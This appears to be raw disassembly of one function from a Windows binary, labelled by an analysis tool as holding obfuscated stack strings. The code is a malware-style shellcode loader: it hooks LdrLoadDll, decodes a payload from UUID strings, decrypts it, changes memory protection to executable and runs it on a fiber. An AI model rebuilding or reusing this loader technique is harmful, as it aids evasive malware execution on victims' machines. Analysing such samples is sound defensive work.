Function at 0x14000169f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x658
lea rbp, [rsp + 0x80]
call fcn.140004070
mov qword [rbp + 0x490], 0
mov qword [rbp + 0x498], 0
mov qword [rbp + 0x4a0], 0
mov qword [rbp + 0x4a8], 0
mov qword [rbp + 0x4b0], 0
mov qword [rbp + 0x4b8], 0
mov qword [rbp + 0x460], 0
mov qword [rbp + 0x468], 0
mov qword [rbp + 0x470], 0
mov qword [rbp + 0x478], 0
mov qword [rbp + 0x480], 0
mov qword [rbp + 0x488], 0
mov qword [rbp + 0x430], 0
mov qword [rbp + 0x438], 0
mov qword [rbp + 0x440], 0
mov qword [rbp + 0x448], 0
mov qword [rbp + 0x450], 0
mov qword [rbp + 0x458], 0
mov word [rbp + 0x410], 0x55
mov word [rbp + 0x412], 0x73
mov word [rbp + 0x414], 0x65
mov word [rbp + 0x416], 0x72
mov word [rbp + 0x418], 0x33
mov word [rbp + 0x41a], 0x32
mov word [rbp + 0x41c], 0x2e
mov word [rbp + 0x41e], 0x64
mov word [rbp + 0x420], 0x6c
mov word [rbp + 0x422], 0x6c
mov word [rbp + 0x424], 0
mov word [rbp + 0x3f0], 0x4b
mov word [rbp + 0x3f2], 0x65
mov word [rbp + 0x3f4], 0x72
mov word [rbp + 0x3f6], 0x6e
mov word [rbp + 0x3f8], 0x65
mov word [rbp + 0x3fa], 0x6c
mov word [rbp + 0x3fc], 0x33
mov word [rbp + 0x3fe], 0x32
mov word [rbp + 0x400], 0x2e
mov word [rbp + 0x402], 0x64
mov word [rbp + 0x404], 0x6c
mov word [rbp + 0x406], 0x6c
mov word [rbp + 0x408], 0
mov word [rbp + 0x3d0], 0x6e
mov word [rbp + 0x3d2], 0x74
mov word [rbp + 0x3d4], 0x64
mov word [rbp + 0x3d6], 0x6c
mov word [rbp + 0x3d8], 0x6c
mov word [rbp + 0x3da], 0x2e
mov word [rbp + 0x3dc], 0x64
mov word [rbp + 0x3de], 0x6c
mov word [rbp + 0x3e0], 0x6c
mov word [rbp + 0x3e2], 0
movabs rax, 0x4464616f4c72644c
mov qword [rbp + 0x3c5], rax
mov word [rbp + 0x3cd], 0x6c6c
mov byte [rbp + 0x3cf], 0
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp + 0x3bb], rax
mov word [rbp + 0x3c3], 0x6c
movabs rax, 0x32336c656e72654b
mov qword [rbp + 0x3ae], rax
mov dword [rbp + 0x3b6], 0x6c6c642e
mov byte [rbp + 0x3ba], 0
lea rdx, [rbp + 0x410]
lea rax, [rbp + 0x4e0]
mov rcx, rax
call fcn.1400015d6
lea rdx, [rbp + 0x3f0]
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.1400015d6
lea rdx, [rbp + 0x3d0]
lea rax, [rbp + 0x4c0]
mov rcx, rax
call fcn.1400015d6
mov dword [rbp + 0x490], 0x30
mov qword [rbp + 0x498], 0
mov dword [rbp + 0x4a8], 0x40
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x4b0], 0
mov qword [rbp + 0x4b8], 0
mov dword [rbp + 0x460], 0x30
mov qword [rbp + 0x468], 0
mov dword [rbp + 0x478], 0x40
lea rax, [rbp + 0x4d0]
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x480], 0
mov qword [rbp + 0x488], 0
mov dword [rbp + 0x430], 0x30
mov qword [rbp + 0x438], 0
mov dword [rbp + 0x448], 0x40
lea rax, [rbp + 0x4c0]
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x450], 0
mov qword [rbp + 0x458], 0
movabs rax, 0x6c75646f4d746547
movabs rdx, 0x41656c646e614865
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], rdx
mov byte [rbp + 0x3a0], 0
lea rax, [rbp + 0x3ae]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x390]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c0], rax
movabs rax, 0x41636f7250746547
mov qword [rbp + 0x381], rax
mov dword [rbp + 0x389], 0x65726464
mov word [rbp + 0x38d], 0x7373
mov byte [rbp + 0x38f], 0
lea rax, [rbp + 0x3ae]
mov rdx, qword [rbp + 0x5c0]
mov rcx, rax
call rdx
mov rcx, rax
lea rax, [rbp + 0x381]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
movabs rax, 0x416c617574726956
mov qword [rbp + 0x374], rax
mov dword [rbp + 0x37c], 0x636f6c6c
mov byte [rbp + 0x380], 0
lea rax, [rbp + 0x3ae]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x374]
mov r8, qword [rbp + 0x5b8]
mov rdx, rax
call r8
mov qword [rbp + 0x5b0], rax
movabs rax, 0x506c617574726956
mov qword [rbp + 0x365], rax
mov dword [rbp + 0x36d], 0x65746f72
mov word [rbp + 0x371], 0x7463
mov byte [rbp + 0x373], 0
lea rax, [rbp + 0x3ae]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x365]
mov r8, qword [rbp + 0x5b8]
mov rdx, rax
call r8
mov qword [rbp + 0x5a8], rax
lea rax, [rbp + 0x3bb]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x3c5]
mov r8, qword [rbp + 0x5b8]
mov rdx, rax
call r8
mov qword [rbp + 0x5a0], rax
mov word [rbp + 0x363], 0xbb49
movabs rax, 0xefbeaddeefbeadde
mov qword [rbp + 0x35b], rax
mov dword [rbp + 0x357], 0xc3e3ff41
mov rax, qword [rbp + 0x5a0]
add rax, 5
mov qword [rbp + 0x598], rax
lea rax, [rbp + 0x35b]
mov rdx, qword [rbp + 0x598]
mov qword [rax], rdx
mov rax, qword [rbp + 0x5b0]
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x13
mov ecx, 0
call rax
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov r8d, 5
lea rdx, [0x14001090d]
mov rcx, rax
call fcn.140001540
mov rax, qword [rbp + 0x590]
lea rcx, [rax + 5]
lea rax, [rbp + 0x363]
mov r8d, 2
mov rdx, rax
call fcn.140001540
mov rax, qword [rbp + 0x590]
lea rcx, [rax + 7]
lea rax, [rbp + 0x35b]
mov r8d, 8
mov rdx, rax
call fcn.140001540
mov rax, qword [rbp + 0x590]
lea rcx, [rax + 0xf]
lea rax, [rbp + 0x357]
mov r8d, 4
mov rdx, rax
call fcn.140001540
mov dword [rbp + 0x350], 0
lea rdx, [rbp + 0x350]
mov rax, qword [rbp + 0x590]
mov r10, qword [rbp + 0x5a8]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x1e
mov rcx, rax
call r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x588], rax
mov qword [rbp + 0x348], 0
lea rcx, [rbp + 0x348]
lea rdx, [rbp + 0x4e0]
mov rax, qword [rbp + 0x588]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x340], 0
lea rcx, [rbp + 0x340]
lea rdx, [rbp + 0x4d0]
mov rax, qword [rbp + 0x588]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x338], 0
lea rcx, [rbp + 0x338]
lea rdx, [rbp + 0x4c0]
mov rax, qword [rbp + 0x588]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov rax, qword [rbp + 0x340]
lea rdx, [rbp + 0x381]
mov r8, qword [rbp + 0x5b8]
mov rcx, rax
call r8
mov qword [rbp + 0x580], rax
mov rax, qword [rbp + 0x340]
lea rdx, [rbp + 0x374]
mov r8, qword [rbp + 0x580]
mov rcx, rax
call r8
mov qword [rbp + 0x578], rax
mov rax, qword [rbp + 0x340]
lea rdx, [rbp + 0x365]
mov r8, qword [rbp + 0x580]
mov rcx, rax
call r8
mov qword [rbp + 0x570], rax
movabs rax, 0x6f72506574697257
movabs rdx, 0x6f6d654d73736563
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], rdx
mov word [rbp + 0x330], 0x7972
mov byte [rbp + 0x332], 0
mov rax, qword [rbp + 0x340]
lea rdx, [rbp + 0x320]
mov r8, qword [rbp + 0x580]
mov rcx, rax
call r8
mov qword [rbp + 0x568], rax
movabs rax, 0x54747265766e6f43
movabs rdx, 0x466f546461657268
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x308], rdx
mov dword [rbp + 0x310], 0x72656269
mov byte [rbp + 0x314], 0
mov rax, qword [rbp + 0x340]
lea rdx, [rbp + 0x300]
mov r8, qword [rbp + 0x580]
mov rcx, rax
call r8
mov qword [rbp + 0x560], rax
movabs rax, 0x6572727543746547
movabs rdx, 0x7365636f7250746e
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x2e8], rdx
mov word [rbp + 0x2f0], 0x73
mov rax, qword [rbp + 0x340]
lea rdx, [rbp + 0x2e0]
mov r8, qword [rbp + 0x580]
mov rcx, rax
call r8
mov qword [rbp + 0x558], rax
movabs rax, 0x6946657461657243
mov qword [rbp + 0x2d4], rax
mov dword [rbp + 0x2dc], 0x726562
mov rax, qword [rbp + 0x340]
lea rdx, [rbp + 0x2d4]
mov r8, qword [rbp + 0x580]
mov rcx, rax
call r8
mov qword [rbp + 0x550], rax
movabs rax, 0x6f54686374697753
mov qword [rbp + 0x2c6], rax
mov dword [rbp + 0x2ce], 0x65626946
mov word [rbp + 0x2d2], 0x72
mov rax, qword [rbp + 0x340]
lea rdx, [rbp + 0x2c6]
mov r8, qword [rbp + 0x580]
mov rcx, rax
call r8
mov qword [rbp + 0x548], rax
movabs rax, 0x656c61436d756e45
movabs rdx, 0x6f666e497261646e
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 0x2b8], rdx
mov word [rbp + 0x2c0], 0x41
mov rax, qword [rbp + 0x340]
lea rdx, [rbp + 0x2b0]
mov r8, qword [rbp + 0x580]
mov rcx, rax
call r8
mov qword [rbp + 0x540], rax
movabs rax, 0x6573556575657551
mov qword [rbp + 0x2a3], rax
mov dword [rbp + 0x2ab], 0x43504172
mov byte [rbp + 0x2af], 0
mov rax, qword [rbp + 0x340]
lea rdx, [rbp + 0x2a3]
mov r8, qword [rbp + 0x580]
mov rcx, rax
call r8
mov qword [rbp + 0x538], rax
movabs rax, 0x6c4174736554744e
mov qword [rbp + 0x297], rax
mov dword [rbp + 0x29f], 0x747265
mov rax, qword [rbp + 0x338]
lea rdx, [rbp + 0x297]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x530], rax
lea rax, [rbp + 0xc0]
lea rdx, str.8a6df61f_e543_fc16_f060_085d8fac4033
mov ecx, 0x3a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov dword [rbp + 0x52c], 0x3a
mov eax, dword [rbp + 0x52c]
cdqe
shl rax, 4
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x520], rax
cmp qword [rbp + 0x520], 0
jne 0x14000206c
mov eax, 0xffffffff
jmp 0x1400022d6
mov dword [rbp + 0x5cc], 0
jmp 0x1400020dc
mov eax, dword [rbp + 0x5cc]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x520]
add rdx, rax
mov eax, dword [rbp + 0x5cc]
cdqe
mov rax, qword [rbp + rax*8 + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.RPCRT4.dll_UuidFromStringA]
call rax
mov dword [rbp + 0x4f4], eax
cmp dword [rbp + 0x4f4], 0
je 0x1400020d5
mov rax, qword [rbp + 0x520]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0xffffffff
jmp 0x1400022d6
add dword [rbp + 0x5cc], 1
mov eax, dword [rbp + 0x5cc]
cmp eax, dword [rbp + 0x52c]
jl 0x140002078
mov eax, dword [rbp + 0x52c]
cdqe
shl eax, 4
mov dword [rbp + 0x51c], eax
movabs rax, 0x4a6342366b4e6d53
movabs rdx, 0x3853527758566457
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
mov byte [rbp + 0xb0], 0
movabs rax, 0x69654e593671506f
movabs rdx, 0x68457257396c7844
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
mov byte [rbp + 0x90], 0
lea rcx, [rbp + 0x80]
lea rdx, [rbp + 0xa0]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call fcn.140002e38
mov ecx, dword [rbp + 0x51c]
mov rdx, qword [rbp + 0x520]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call fcn.140003e0e
mov eax, dword [rbp + 0x51c]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x508], 0
mov rax, qword [rbp + 0x560]
mov ecx, 0
call rax
mov qword [rbp + 0x500], rax
mov rax, qword [rbp + 0x510]
mov r10, qword [rbp + 0x578]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
call r10
mov qword [rbp + 0x508], rax
movabs rcx, 0xde0b6b3a7640859
call fcn.140001644
lea rcx, [rbp - 0x44]
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x508]
mov r10, qword [rbp + 0x570]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
call r10
movabs rcx, 0xde0b6b3a7640801
call fcn.140001644
lea rcx, [rbp - 0x44]
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x508]
mov r10, qword [rbp + 0x570]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
call r10
movabs rcx, 0xde0b6b3a76409b1
call fcn.140001644
mov ebx, dword [rbp + 0x51c]
mov rax, qword [rbp + 0x558]
call rax
mov rcx, rax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x508]
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x568]
mov r9, rbx
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x508]
mov r9, qword [rbp + 0x550]
mov r8d, 0
mov rdx, rax
mov ecx, 0
call r9
mov qword [rbp + 0x4f8], rax
mov rax, qword [rbp + 0x4f8]
mov rdx, qword [rbp + 0x548]
mov rcx, rax
call rdx
mov eax, 0
add rsp, 0x658
pop rbx
pop rsi
pop rdi
pop rbp
ret